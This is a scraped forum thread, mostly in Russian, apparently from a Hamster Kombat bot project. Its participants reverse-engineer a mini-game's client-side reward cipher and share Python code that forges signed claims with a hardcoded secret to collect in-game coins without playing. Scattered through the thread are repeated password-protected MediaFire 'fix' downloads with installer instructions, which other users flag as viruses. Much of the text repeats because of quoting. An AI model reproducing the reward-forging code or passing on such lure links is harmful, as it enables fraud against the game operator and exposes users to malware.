text:
новая мини игра Hexa Puzzle

возможна ли автоматизация?

Первая ссылка которая срабатывает
https://api.hamsterkombatgame.io/clicker/start-keys-minigame
После того как полей не осталось выходит этот запрос
https://api.hamsterkombatgame.io/clicker/claim-daily-keys-minigame
"miniGame": {
"Candles": {
"lastStartAt": "2024-08-27T06:33:10.306Z",
"lastClaimAt": "2024-08-27T06:33:10.585Z"
},
"Tiles": {
"lastStartAt": "2024-08-27T13:04:58.608Z",
"lastClaimAt": "2024-08-27T13:08:57.376Z",
"pointsAlreadyClaimed": 200
}
}
Candles - мини-игра с ключом
Tiles - новая мини-игра с валютой
Те кто разбираются, думаю смогут что-то с этим сделать

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

It's bad to spread viruses

Anyone have idea about new hexa mini game ?

Download
https://www.mediafire.com/file/xs3e15yonljh4bk/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download https://www.mediafire.com/file/xs3e15yonljh4bk/fix.zip/file password: changeme In the installer menu, select "gcc."

⚠ WARNING
Viruses seeding @shamhi

Кто что думает народ?

POST https://api.hamsterkombatgame.io/clicker/start-keys-minigame
Jsond data: {miniGameId: "Tiles"}

POST https://api.hamsterkombatgame.io/clicker/claim-daily-keys-minigame
{"cipher":"BASE64 CODE","miniGameId":"Tiles"}

BASE64 CODE decode:
0180064280|USER_ID|Tiles|3449512916|wLoTAu2D8Zxd6vlAXGKf/y+I4iiJBXV8MUwQ/1X6W54=

Скажите, а лучше всего бота через комп. зрение написать или через промты?

Кто что думает народ?

Автоматизировать данный процесс точно не получится, потому что нужно как то получать cipher и bonus, а не поиграв в игру это не возможно. Да достать cipher можно поиграв в эту игру, но у разработчиков наверно будет вопрос почему несколько раз выдались монеты

Кто что думает народ?

Автоматизировать данный процесс точно не получится, потому что нужно как то получать cipher и bonus, а не поиграв в игру это не возможно. Да достать cipher можно поиграв в эту игру, но у разработчиков наверно будет вопрос почему несколько раз выдались монеты

cipher генерируется на стороне клиента и сумма бонусов.
при первом запросе https://api.hamsterkombatgame.io/clicker/start-keys-minigame ничего толкового не возвращается.
Только user_id пользователя.

Кто что думает народ?

Автоматизировать данный процесс точно не получится, потому что нужно как то получать cipher и bonus, а не поиграв в игру это не возможно. Да достать cipher можно поиграв в эту игру, но у разработчиков наверно будет вопрос почему несколько раз выдались монеты

cipher генерируется на стороне клиента и сумма бонусов. при первом запросе https://api.hamsterkombatgame.io/clicker/start-keys-minigame ничего толкового не возвращается. Только user_id пользователя.

Он как раз генерируется после того, как ты вошел в тупик и полей у тебя не осталось

Кто что думает народ?

Автоматизировать данный процесс точно не получится, потому что нужно как то получать cipher и bonus, а не поиграв в игру это не возможно. Да достать cipher можно поиграв в эту игру, но у разработчиков наверно будет вопрос почему несколько раз выдались монеты

cipher генерируется на стороне клиента и сумма бонусов. при первом запросе https://api.hamsterkombatgame.io/clicker/start-keys-minigame ничего толкового не возвращается. Только user_id пользователя.

Он как раз генерируется после того, как ты вошел в тупик и полей у тебя не осталось

забрать монеты можно не заходя в тупик, а просто закрыв игру

Кто что думает народ?

Автоматизировать данный процесс точно не получится, потому что нужно как то получать cipher и bonus, а не поиграв в игру это не возможно. Да достать cipher можно поиграв в эту игру, но у разработчиков наверно будет вопрос почему несколько раз выдались монеты

cipher генерируется на стороне клиента и сумма бонусов. при первом запросе https://api.hamsterkombatgame.io/clicker/start-keys-minigame ничего толкового не возвращается. Только user_id пользователя.

Он как раз генерируется после того, как ты вошел в тупик и полей у тебя не осталось

в любой момент можно завершить игру получить монеты и начать по новой.
никакого общения дополнительно помимо присланных выше не происходит.

POST https://api.hamsterkombatgame.io/clicker/start-keys-minigame
SEND Jsond data: {miniGameId: "Tiles"}
POST https://api.hamsterkombatgame.io/clicker/claim-daily-keys-minigame
SEND Jsond data: {"cipher":"BASE64_HASH","miniGameId":"Tiles"}

BASE64_HASH decode: 0180064280|4827059234|Tiles|3449512916|wLoTAu2D8Zxd6vlAXGKf/y+I4iiJBXV8MUwQ/1X6W54= 4827059234 = USER_ID

Привет, подскажи, вроде бы выполняю эти два запроса, но ничего не происходит, что именно должен вернуть второй запрос?
Верно ли я делаю cipher?
Строка:
0206396991|7223911213|Tiles|3449512916|wLoTAu2D8Zxd6vlAXGKf/y+I4iiJBXV8MUwQ/1X6W54=
BASE64_HASH:
MDIwNjM5Njk5MXw3MjIzOTExMjEzfFRpbGVzfDM0NDk1MTI5MTZ8d0xvVEF1MkQ4WnhkNnZsQVhHS2YveStJNGlpSkJYVjhNVXdRLzFYNlc1ND0=

Кто что думает народ?

Автоматизировать данный процесс точно не получится, потому что нужно как то получать cipher и bonus, а не поиграв в игру это не возможно. Да достать cipher можно поиграв в эту игру, но у разработчиков наверно будет вопрос почему несколько раз выдались монеты

cipher генерируется на стороне клиента и сумма бонусов. при первом запросе https://api.hamsterkombatgame.io/clicker/start-keys-minigame ничего толкового не возвращается. Только user_id пользователя.

Он как раз генерируется после того, как ты вошел в тупик и полей у тебя не осталось

забрать монеты можно не заходя в тупик, а просто закрыв игру

Ну с 0, же ты не будешь закрывать игру?

данный код добавляет 58 монет и все, как изменить сумму?
0180064280|4827059234|Tiles|3449512916|wLoTAu2D8Zxd6vlAXGKf/y+I4iiJBXV8MUwQ/1X6W54=

данный код добавляет 58 монет и все, как изменить сумму? 0180064280|4827059234|Tiles|3449512916|wLoTAu2D8Zxd6vlAXGKf/y+I4iiJBXV8MUwQ/1X6W54=

Тоже разбираешься?)) в боте появится новая функция?

данный код добавляет 58 монет и все, как изменить сумму? 0180064280|4827059234|Tiles|3449512916|wLoTAu2D8Zxd6vlAXGKf/y+I4iiJBXV8MUwQ/1X6W54=

Тоже разбираешься?)) в боте появится новая функция?

ну да)) ты разобрался с количеством монет?)

данный код добавляет 58 монет и все, как изменить сумму? 0180064280|4827059234|Tiles|3449512916|wLoTAu2D8Zxd6vlAXGKf/y+I4iiJBXV8MUwQ/1X6W54=

Тоже разбираешься?)) в боте появится новая функция?

ну да)) ты разобрался с количеством монет?)

У меня пока нет доступа к ноутбуку.  Успел только начать разбираться. Попробуй изменить последние 6 цифр на 999999 в числе, которое после названия игры. Что-то изменится? Примет такой запрос?

Hi, can you give example request you send? And how you get your key, user_id or
0206396991|7223911213|Tiles|3449512916|wLoTAu2D8Zxd6vlAXGKf/y+I4iiJBXV8MUwQ/1X6W54=
and
MDIwNjM5Njk5MXw3MjIzOTExMjEzfFRpbGVzfDM0NDk1MTI5MTZ8d0xvVEF1MkQ4WnhkNnZsQVhHS2YveStJNGlpSkJYVjhNVXdRLzFYNlc1ND0=
@EntireMusic @pekatron9000 @k0tone @ivestore @DineshValor @Alex22891

Hi, can you give example request you send? And how you get your key, user_id or
0206396991|7223911213|Tiles|3449512916|wLoTAu2D8Zxd6vlAXGKf/y+I4iiJBXV8MUwQ/1X6W54=
and
MDIwNjM5Njk5MXw3MjIzOTExMjEzfFRpbGVzfDM0NDk1MTI5MTZ8d0xvVEF1MkQ4WnhkNnZsQVhHS2YveStJNGlpSkJYVjhNVXdRLzFYNlc1ND0=
@EntireMusic @pekatron9000 @k0tone @ivestore @DineshValor @Alex22891

I used to get my cipher by playing this game, then I looped this request and I was given coins, but I think this is not the right solution

Hi, can you give example request you send? And how you get your key, user_id or
0206396991|7223911213|Tiles|3449512916|wLoTAu2D8Zxd6vlAXGKf/y+I4iiJBXV8MUwQ/1X6W54=
and
MDIwNjM5Njk5MXw3MjIzOTExMjEzfFRpbGVzfDM0NDk1MTI5MTZ8d0xvVEF1MkQ4WnhkNnZsQVhHS2YveStJNGlpSkJYVjhNVXdRLzFYNlc1ND0=
@EntireMusic @pekatron9000 @k0tone @ivestore @DineshValor @Alex22891

I used to get my cipher by playing this game, then I looped this request and I was given coins, but I think this is not the right solution

Can you give me more explain please? How you get your cipher and how you looped your request can you say or show me an example request please? Really i need :)

@Alex22891 just drop out the code whit some explanation please. i personally tried whit python but something went wrong...

Hi, can you give example request you send? And how you get your key, user_id or

0206396991|7223911213|Tiles|3449512916|wLoTAu2D8Zxd6vlAXGKf/y+I4iiJBXV8MUwQ/1X6W54=

and

MDIwNjM5Njk5MXw3MjIzOTExMjEzfFRpbGVzfDM0NDk1MTI5MTZ8d0xvVEF1MkQ4WnhkNnZsQVhHS2YveStJNGlpSkJYVjhNVXdRLzFYNlc1ND0=

@EntireMusic @pekatron9000 @k0tone @ivestore @DineshValor @Alex22891

I used to get my cipher by playing this game, then I looped this request and I was given coins, but I think this is not the right solution

Can you give me more explain please? How you get your cipher and how you looped your request can you say or show me an example request please? Really i need :)

Play the game in a browser and through network trace the claim-daily-keys-minigames request, it gives out cipher

Искал что-то по этой мини игре, а нашёл намёк на следующую

@Alex22891 just drop out the code whit some explanation please. i personally tried whit python but something went wrong...

I'm not at my computer at the moment

а у вас запускаются мини-игры в браузере? у меня уходит в вечную загрузку, вот логи:

может кто сталкивался?

а у вас запускаются мини-игры в браузере? у меня уходит в вечную загрузку, вот логи:

может кто сталкивался?

Тебе нужно в ссылке указать не web, а например android, найди элемент iframe, скопируй ссылку и введи ее просто в поисковую строку и поменяй

не помогло, увидел tgWebAppPlatform=web в src iframe, пробовал замену на android и ios, результат тот же.

999999

а у вас запускаются мини-игры в браузере? у меня уходит в вечную загрузку, вот логи:

может кто сталкивался?

Тебе нужно в ссылке указать не web, а например android, найди элемент iframe, скопируй ссылку и введи ее просто в поисковую строку и поменяй

не помогло, увидел tgWebAppPlatform=web в src iframe, пробовал замену на android и ios, результат тот же.

ты измени ссылку и вставь ее в новую вкладку

999999

а у вас запускаются мини-игры в браузере? у меня уходит в вечную загрузку, вот логи:

может кто сталкивался?

Тебе нужно в ссылке указать не web, а например android, найди элемент iframe, скопируй ссылку и введи ее просто в поисковую строку и поменяй

не помогло, увидел tgWebAppPlatform=web в src iframe, пробовал замену на android и ios, результат тот же.

ты измени ссылку и вставь ее в новую вкладку

да-да, именно так и сделано

Правда, появились дополнительные логи исключений:

Херней занимаетесь... нужно распаковывать игру и доставать lua скрипты. (Это при условии, что пароль дефолтный). Как это сделать - все ссылки были в предыдущем обсуждении. Мне тупо лень, там файл содержит 175!!! ресурсов (часть сжата, часть зашифрованы - стоят соотв флаги).  Я такое руками делать не буду )

Мне тупо лень, там файл содержит 175!!! ресурсов

сорян, 173

игра на js новая, ты не туда копаешь и смотришь

В отличии от тебя, я знаю что говорю и делаю

Скажите, а лучше всего бота через комп. зрение написать или через промты?

можно отправить запрос с телом одним и тем же, монеты будут приходить. 3 аккаунта делал: на первом дало около 400кк монет по 260к в сек, на втором около 250кк по 500к в сек, на третьем 200кк по 1кк в сек.
зависимость не понял. ковырялся в сорсах, токены формируются wasm, очень сложно, надо копаться

У тебя тоже ровно по 40 раз на каждом аккаунте отработало и перешло в статус IsClaimed = True ?

два раза в ноль сыграл
0180064280|$userId|Tiles|3449512800|xptBgvq4gvtOIHpN374tURFiOFkAC1VKfV4SZPkmlpU=
и второй раз
0290005567|$userId|Tiles|3449512800|xptBgvq4gvtOIHpN374tURFiOFkAC1VKfV4SZPkmlpU=

Если поставить console.log на postMessage, то получается что-то такое:
{"method":"OnGameFinished","cipher":"0260232939","game_id":"Tiles","score":"3449512820","sig":"vYtHVlAE5W+f5rt8BrpWe4RHBGWrp0LQGWcJg/EU4Vo="}

Насколько я понял:
cipher|user_id|Tiles|score|signature

Игра имеет ограничение по наградам и времени. Нельзя нагенерить бесконечные миллиарды
{
    "dailyCipher": {
        "cipher": "TUF5SVEE=",
        "bonusCoins": 1000000,
        "isClaimed": true,
        "remainSeconds": 82292
    },
    "feature": [
        "airdrop_connect_ton_wallet"
    ],
    "dailyKeysMiniGames": {
        "Tiles": {
            "id": "Tiles",
            "startDate": "2024-08-27T11:00:00.000Z",
            "levelConfig": "",
            "youtubeUrl": "",
            "bonusKeys": 0,
            "maxPoints": 172800,
            "isClaimed": false,
            "totalSecondsToNextAttempt": 86400,
            "remainSecondsToGuess": 53491.49,
            "remainSeconds": 53491.49,
            "remainSecondsToNextAttempt": 53491.49,
            "remainPoints": 172250
        }
    }
}

The game has a reward and time limit. You can't generate infinite billions
{
    "dailyCipher": {
        "cipher": "TUF5SVEE=",
        "bonusCoins": 1000000,
        "isClaimed": true,
        "remainSeconds": 82292
    },
    "feature": [
        "airdrop_connect_ton_wallet"
    ],
    "dailyKeysMiniGames": {
        "Tiles": {
            "id": "Tiles",
            "startDate": "2024-08-27T11:00:00.000Z",
            "levelConfig": "",
            "youtubeUrl": "",
            "bonusKeys": 0,
            "maxPoints": 172800,
            "isClaimed": false,
            "totalSecondsToNextAttempt": 86400,
            "remainSecondsToGuess": 53491.49,
            "remainSeconds": 53491.49,
            "remainSecondsToNextAttempt": 53491.49,
            "remainPoints": 172250
        }
    }
}

Took ~1M coins in the game "remainPoints": 171406

Can implement in bot script?

Игра имеет ограничение по наградам и времени. Нельзя нагенерить бесконечные миллиарды
{
    "dailyCipher": {
        "cipher": "TUF5SVEE=",
        "bonusCoins": 1000000,
        "isClaimed": true,
        "remainSeconds": 82292
    },
    "feature": [
        "airdrop_connect_ton_wallet"
    ],
    "dailyKeysMiniGames": {
        "Tiles": {
            "id": "Tiles",
            "startDate": "2024-08-27T11:00:00.000Z",
            "levelConfig": "",
            "youtubeUrl": "",
            "bonusKeys": 0,
            "maxPoints": 172800,
            "isClaimed": false,
            "totalSecondsToNextAttempt": 86400,
            "remainSecondsToGuess": 53491.49,
            "remainSeconds": 53491.49,
            "remainSecondsToNextAttempt": 53491.49,
            "remainPoints": 172250
        }
    }
}

Забрал ~1М монет в игре "remainPoints": 171406. Итого 1М примерно 850 поинтов

Так можно откатить тайминг, он на стороне юзеря а не сервера. Знатно они накосячили, но думаю откаты будут бтв

Искал что-то по этой мини игре, а нашёл намёк на следующую
UPD: Обложка:
Игровое поле:
Пока что не известно в каком формате level передаётся, так что не поиграть.

нашёл что-то интересное ещё ?

Так можно откатить тайминг, он на стороне юзеря а не сервера. Знатно они накосячили, но думаю откаты будут бтв

Нельзя откатить. Так как remainPoints хранится на бэке.

Так можно откатить тайминг, он на стороне юзеря а не сервера. Знатно они накосячили, но думаю откаты будут бтв

Нельзя откатить. Так как remainPoints хранится на бэке.

Перед завершением можно запрос отправить на смену времени отката на 1 секунду

cipher|user_id|Tiles|score|signature

Перед завершением игры можно запрос отправить на смену времени отката на 1 секунду. Проверено. 0 Нельзя, бот крашится.

Да какое время отката - ты шлешь score и бэк этот скор фиксирует.

cipher|user_id|Tiles|score|signature

Перед завершением игры можно запрос отправить на смену времени отката на 1 секунду. Проверено. 0 Нельзя, бот крашится.

Да какое время отката - ты шлешь score и бэк этот скор фиксирует.

"remainSecondsToNextAttempt"

Candles всё убрали

Кто-то будет автоматизировать ?ну либо же развить чтоб в браунзере автоматом клацалась?

Candles всё убрали

Всё таки нет, появилась

Если поставить console.log на postMessage, то получается что-то такое:
{"method":"OnGameFinished","cipher":"0260232939","game_id":"Tiles","score":"3449512820","sig":"vYtHVlAE5W+f5rt8BrpWe4RHBGWrp0LQGWcJg/EU4Vo="}

Насколько я понял:
cipher|user_id|Tiles|score|signature

function s(d) {             try {                 const l = JSON.parse(d.data);                 if (l.method)                     switch (l.method) {                     case "OnGameFinished":                         o.cipher = window.btoa(l.cipher + "|" + bt().account_id + "|" + l.game_id + "|" + l.score + "|" + l.sig),                         o.resetMatchMiniGameInterval(),                         r();                         break;                     case "OnSceneLoaded":                         l.is_defold == 1 ? o.loadGame() : o.sceneLoaded = !0;                         break;                     case "OnScoreChanged":                         o.setScore(l.score);                         break                     }             } catch {}         }
Вот такую функцию нашёл. Но её вызов не найти))

Если поставить console.log на postMessage, то получается что-то такое:
{"method":"OnGameFinished","cipher":"0260232939","game_id":"Tiles","score":"3449512820","sig":"vYtHVlAE5W+f5rt8BrpWe4RHBGWrp0LQGWcJg/EU4Vo="}

Насколько я понял:
cipher|user_id|Tiles|score|signature

function s(d) { try { const l = JSON.parse(d.data); if (l.method) switch (l.method) { case "OnGameFinished": o.cipher = window.btoa(l.cipher + "|" + bt().account_id + "|" + l.game_id + "|" + l.score + "|" + l.sig), o.resetMatchMiniGameInterval(), r(); break; case "OnSceneLoaded": l.is_defold == 1 ? o.loadGame() : o.sceneLoaded = !0; break; case "OnScoreChanged": o.setScore(l.score); break } } catch {} } Вот такую функцию нашёл. Но её вызов не найти))

Так сделай её вызов через поражение

Если поставить console.log на postMessage, то получается что-то такое:
{"method":"OnGameFinished","cipher":"0260232939","game_id":"Tiles","score":"3449512820","sig":"vYtHVlAE5W+f5rt8BrpWe4RHBGWrp0LQGWcJg/EU4Vo="}

Насколько я понял:
cipher|user_id|Tiles|score|signature

function s(d) { try { const l = JSON.parse(d.data); if (l.method) switch (l.method) { case "OnGameFinished": o.cipher = window.btoa(l.cipher + "|" + bt().account_id + "|" + l.game_id + "|" + l.score + "|" + l.sig), o.resetMatchMiniGameInterval(), r(); break; case "OnSceneLoaded": l.is_defold == 1 ? o.loadGame() : o.sceneLoaded = !0; break; case "OnScoreChanged": o.setScore(l.score); break } } catch {} } Вот такую функцию нашёл. Но её вызов не найти))

Так сделай её вызов через поражение

Находится по пути:
_nuxt\default.D3uyzoml.js

Если поставить console.log на postMessage, то получается что-то такое:
{"method":"OnGameFinished","cipher":"0260232939","game_id":"Tiles","score":"3449512820","sig":"vYtHVlAE5W+f5rt8BrpWe4RHBGWrp0LQGWcJg/EU4Vo="}

Насколько я понял:
cipher|user_id|Tiles|score|signature

function s(d) { try { const l = JSON.parse(d.data); if (l.method) switch (l.method) { case "OnGameFinished": o.cipher = window.btoa(l.cipher + "|" + bt().account_id + "|" + l.game_id + "|" + l.score + "|" + l.sig), o.resetMatchMiniGameInterval(), r(); break; case "OnSceneLoaded": l.is_defold == 1 ? o.loadGame() : o.sceneLoaded = !0; break; case "OnScoreChanged": o.setScore(l.score); break } } catch {} } Вот такую функцию нашёл. Но её вызов не найти))

Так сделай её вызов через поражение

Что это? Как?

Если поставить console.log на postMessage, то получается что-то такое:
{"method":"OnGameFinished","cipher":"0260232939","game_id":"Tiles","score":"3449512820","sig":"vYtHVlAE5W+f5rt8BrpWe4RHBGWrp0LQGWcJg/EU4Vo="}

Насколько я понял:
cipher|user_id|Tiles|score|signature

function s(d) { try { const l = JSON.parse(d.data); if (l.method) switch (l.method) { case "OnGameFinished": o.cipher = window.btoa(l.cipher + "|" + bt().account_id + "|" + l.game_id + "|" + l.score + "|" + l.sig), o.resetMatchMiniGameInterval(), r(); break; case "OnSceneLoaded": l.is_defold == 1 ? o.loadGame() : o.sceneLoaded = !0; break; case "OnScoreChanged": o.setScore(l.score); break } } catch {} } Вот такую функцию нашёл. Но её вызов не найти))

Так сделай её вызов через поражение

Что это? Как?

Лол, я тебе и так уже много сказал, остальное это буквально разжёвывание. Я очень хорошо знаю как такая инфа быстро разлетается и затем фиксится за пару часов.

2. Has anyone debugged WASM enough to uncover the actual cipher generation method?

такой же, как и в предыдущей игре

Has anyone debugged WASM enough to uncover the actual cipher generation method?

такой же, как и в предыдущей игре

Thanks. It seems I missed it. Could you please point me to where it was discussed?

Глянь у меня в боте

Has anyone debugged WASM enough to uncover the actual cipher generation method?

такой же, как и в предыдущей игре

Thanks. It seems I missed it. Could you please point me to where it was discussed?

Глянь у меня в боте

Ранее было так: {cipher}|{self.profile.id}
А сейчас они добавили еще название игры, награду и сигнатуру:
"{cipher}|{self.profile.id}" + "Tiles|3449577600|056JnTlS3zRIEbrfYATG68MzRR3jI32leGlbVueMV8E="
указанный выше HASH это у меня такой получился после прохождения сегоднешней игры

Has anyone had any success finding the private key?

Нужно писать распаковщик ресурсов, и наедятся, что он там. Если готов взяться - могу рассказать как
Давай перейдём сюда https://github.com/shamhi/HamsterKombatBot/discussions/2272

Глянь у меня в боте

The method you use in the get_minigame_cipher doesn't seem to be correct (neither does mine). I saw this cipher 0180064280 several times from different users (including me). It doesn't seem to be random.

Вот как только ты напишешь распаковщик, то сам все увидишь и поймёшь ))

Херней занимаетесь... нужно распаковывать игру и доставать lua скрипты. (Это при условии, что пароль дефолтный). Как это сделать - все ссылки были в предыдущем обсуждении. Мне тупо лень, там файл содержит 175!!! ресурсов (часть сжата, часть зашифрованы - стоят соотв флаги). Я такое руками делать не буду )

пальцем ткни в каком именно обсуждении, чтобы было что почитать пока новую тему начинаете)

mini_game.txt

Кто что думает народ?

Автоматизировать данный процесс точно не получится, потому что нужно как то получать cipher и bonus, а не поиграв в игру это не возможно. Да достать cipher можно поиграв в эту игру, но у разработчиков наверно будет вопрос почему несколько раз выдались монеты

cipher генерируется на стороне клиента и сумма бонусов. при первом запросе https://api.hamsterkombatgame.io/clicker/start-keys-minigame ничего толкового не возвращается. Только user_id пользователя.

Можешь подсказать как ты вытащил файл mini_game_txt?

mini_game.txt

Кто что думает народ?

Автоматизировать данный процесс точно не получится, потому что нужно как то получать cipher и bonus, а не поиграв в игру это не возможно. Да достать cipher можно поиграв в эту игру, но у разработчиков наверно будет вопрос почему несколько раз выдались монеты

cipher генерируется на стороне клиента и сумма бонусов. при первом запросе https://api.hamsterkombatgame.io/clicker/start-keys-minigame ничего толкового не возвращается. Только user_id пользователя.

Можешь подсказать как ты вытащил файл mini_game_txt?

так это просто html документ, его можно тупо скопипастить

Глянь у меня в боте

The method you use in the get_minigame_cipher doesn't seem to be correct (neither does mine). I saw this cipher 0180064280 several times from different users (including me). It doesn't seem to be random.

Вот как только ты напишешь распаковщик, то сам все увидишь и поймёшь ))

Спасибо за гайд, было сложно, но я справился и распаковал. Буду теперь изучать. Круто!

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

У меня в одного перестали запускаться Minigames через web? Как вы дебажите? Через эмуляторы?

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

Good afternoon. The Puzzle and Hexa mini-games do not run in the browser, there is an endless download.
Please tell me how to launch games in a Windows browser.

на одном аккаунте получил бонус 0  и взял хеш
потом поменял в хеше user_id на другой, и бонус стал 984 438
как это работает?

Спасибо за гайд, было сложно, но я справился и распаковал. Буду теперь изучать. Круто!

как ты это сделал подскажи, у меня не получается

на одном акке дали в "награду" -550 лярдов на баланс, хз, баг или вид бана. Код генерации
def get_keys_mini_game_cipher(mini_game: DailyMiniGame, user_id: str) -> str:
    number = int(datetime.fromisoformat(mini_game.start_date.replace("Z", "+00:00")).timestamp())
    number_len = len(str(number))
    index = (number % (number_len - 2)) + 1
    res = ""
    score_per_game = {
        "Candles": 0,
        "Tiles": random.randint(10, 10 * 500)
    }

    for i in range(1, number_len + 1):
        if i == index:
            res += "0"
        else:
            res += str(randint(0, 9))

    score_cipher = 2 + (number + score_per_game[mini_game.id])

    data_string = "|".join(
        [
            res,
            user_id,
            mini_game.id,
            str(score_cipher),
            base64.b64encode(hashlib.sha256(f"415t1ng{score_cipher}0ra1cum5h0t".encode()).digest()).decode()
        ]
    ).encode()

    return base64.b64encode(data_string).decode()

на одном акке дали в "награду" -550 лярдов на баланс, хз, баг или вид бана. Код генерации
def get_keys_mini_game_cipher(mini_game: DailyMiniGame, user_id: str) -> str:
    number = int(datetime.fromisoformat(mini_game.start_date.replace("Z", "+00:00")).timestamp())
    number_len = len(str(number))
    index = (number % (number_len - 2)) + 1
    res = ""
    score_per_game = {
        "Candles": 0,
        "Tiles": random.randint(10, 10 * 500)
    }

    for i in range(1, number_len + 1):
        if i == index:
            res += "0"
        else:
            res += str(randint(0, 9))

    score_cipher = 2 + (number + score_per_game[mini_game.id])

    data_string = "|".join(
        [
            res,
            user_id,
            mini_game.id,
            str(score_cipher),
            base64.b64encode(hashlib.sha256(f"415t1ng{score_cipher}0ra1cum5h0t".encode()).digest()).decode()
        ]
    ).encode()

    return base64.b64encode(data_string).decode()

это 415t1ng и 0ra1cum5h0t одновременно)))

на одном акке дали в "награду" -550 лярдов на баланс, хз, баг или вид бана. Код генерации
def get_keys_mini_game_cipher(mini_game: DailyMiniGame, user_id: str) -> str:
    number = int(datetime.fromisoformat(mini_game.start_date.replace("Z", "+00:00")).timestamp())
    number_len = len(str(number))
    index = (number % (number_len - 2)) + 1
    res = ""
    score_per_game = {
        "Candles": 0,
        "Tiles": random.randint(10, 10 * 500)
    }

    for i in range(1, number_len + 1):
        if i == index:
            res += "0"
        else:
            res += str(randint(0, 9))

    score_cipher = 2 + (number + score_per_game[mini_game.id])

    data_string = "|".join(
        [
            res,
            user_id,
            mini_game.id,
            str(score_cipher),
            base64.b64encode(hashlib.sha256(f"415t1ng{score_cipher}0ra1cum5h0t".encode()).digest()).decode()
        ]
    ).encode()

    return base64.b64encode(data_string).decode()

это 415t1ng и 0ra1cum5h0t одновременно)))

fisting и oral cumshot типо ? 🤣🤣🤣

guys i really tried to understand everything but i don't know how implement it well can someone sent the full code... ??
maybe i'm just a dumb bitch

Искал что-то по этой мини игре, а нашёл намёк на следующую
UPD: Обложка:
Игровое поле:
Пока что не известно в каком формате level передаётся, так что не поиграть.

Как-то так:

на одном акке дали в "награду" -550 лярдов на баланс, хз, баг или вид бана. Код генерации
def get_keys_mini_game_cipher(mini_game: DailyMiniGame, user_id: str) -> str:
    number = int(datetime.fromisoformat(mini_game.start_date.replace("Z", "+00:00")).timestamp())
    number_len = len(str(number))
    index = (number % (number_len - 2)) + 1
    res = ""
    score_per_game = {
        "Candles": 0,
        "Tiles": random.randint(10, 10 * 500)
    }

    for i in range(1, number_len + 1):
        if i == index:
            res += "0"
        else:
            res += str(randint(0, 9))

    score_cipher = 2 + (number + score_per_game[mini_game.id])

    data_string = "|".join(
        [
            res,
            user_id,
            mini_game.id,
            str(score_cipher),
            base64.b64encode(hashlib.sha256(f"415t1ng{score_cipher}0ra1cum5h0t".encode()).digest()).decode()
        ]
    ).encode()

    return base64.b64encode(data_string).decode()

ошибся в расчете score_cipher. надо было умножать на 2, а не прибавлять. Видимо на сервере есть проверка на максимум, но нет проверки на минимум и поэтому баланс в минус улетел

в итоге с этим кодом работает, но с количеством поинтов надо еще по-экспериментировать
max_points - это remain_points от игры
def get_keys_mini_game_cipher(mini_game: DailyMiniGame, user_id: str, max_points: int) -> str:
    number = int(datetime.fromisoformat(mini_game.start_date.replace("Z", "+00:00")).timestamp())
    number_len = len(str(number))
    index = (number % (number_len - 2)) + 1
    res = ""
    score_per_game = {
        "Candles": 0,
        "Tiles": random.randint(int(max_points * 0.1), max_points) if max_points > 300 else max_points,
    }

    for i in range(1, number_len + 1):
        if i == index:
            res += "0"
        else:
            res += str(randint(0, 9))

    score_cipher = 2 * (number + score_per_game[mini_game.id])

    data_string = "|".join(
        [
            res,
            user_id,
            mini_game.id,
            str(score_cipher),
            base64.b64encode(hashlib.sha256(f"415t1ng{score_cipher}0ra1cum5h0t".encode()).digest()).decode()
        ]
    ).encode()

    return base64.b64encode(data_string).decode()

в итоге с этим кодом работает, но с количеством поинтов надо еще по-экспериментировать
max_points - это remain_points от игры
def get_keys_mini_game_cipher(mini_game: DailyMiniGame, user_id: str, max_points: int) -> str:
    number = int(datetime.fromisoformat(mini_game.start_date.replace("Z", "+00:00")).timestamp())
    number_len = len(str(number))
    index = (number % (number_len - 2)) + 1
    res = ""
    score_per_game = {
        "Candles": 0,
        "Tiles": random.randint(int(max_points * 0.1), max_points) if max_points > 300 else max_points,
    }

    for i in range(1, number_len + 1):
        if i == index:
            res += "0"
        else:
            res += str(randint(0, 9))

    score_cipher = 2 * (number + score_per_game[mini_game.id])

    data_string = "|".join(
        [
            res,
            user_id,
            mini_game.id,
            str(score_cipher),
            base64.b64encode(hashlib.sha256(f"415t1ng{score_cipher}0ra1cum5h0t".encode()).digest()).decode()
        ]
    ).encode()

    return base64.b64encode(data_string).decode()

Can please someone tell me how run this code?

в итоге с этим кодом работает, но с количеством поинтов надо еще по-экспериментировать
max_points - это remain_points от игры
def get_keys_mini_game_cipher(mini_game: DailyMiniGame, user_id: str, max_points: int) -> str:
    number = int(datetime.fromisoformat(mini_game.start_date.replace("Z", "+00:00")).timestamp())
    number_len = len(str(number))
    index = (number % (number_len - 2)) + 1
    res = ""
    score_per_game = {
        "Candles": 0,
        "Tiles": random.randint(int(max_points * 0.1), max_points) if max_points > 300 else max_points,
    }

    for i in range(1, number_len + 1):
        if i == index:
            res += "0"
        else:
            res += str(randint(0, 9))

    score_cipher = 2 * (number + score_per_game[mini_game.id])

    data_string = "|".join(
        [
            res,
            user_id,
            mini_game.id,
            str(score_cipher),
            base64.b64encode(hashlib.sha256(f"415t1ng{score_cipher}0ra1cum5h0t".encode()).digest()).decode()
        ]
    ).encode()

    return base64.b64encode(data_string).decode()

Can please someone tell me how to run this code?

if you use this bot (HamsterKombatBot). I can send you two files that need to be replaced. And restart bot

А где минигейм айди взять?

в итоге с этим кодом работает, но с количеством поинтов надо еще по-экспериментировать
max_points - это remain_points от игры
def get_keys_mini_game_cipher(mini_game: DailyMiniGame, user_id: str, max_points: int) -> str:
    number = int(datetime.fromisoformat(mini_game.start_date.replace("Z", "+00:00")).timestamp())
    number_len = len(str(number))
    index = (number % (number_len - 2)) + 1
    res = ""
    score_per_game = {
        "Candles": 0,
        "Tiles": random.randint(int(max_points * 0.1), max_points) if max_points > 300 else max_points,
    }

    for i in range(1, number_len + 1):
        if i == index:
            res += "0"
        else:
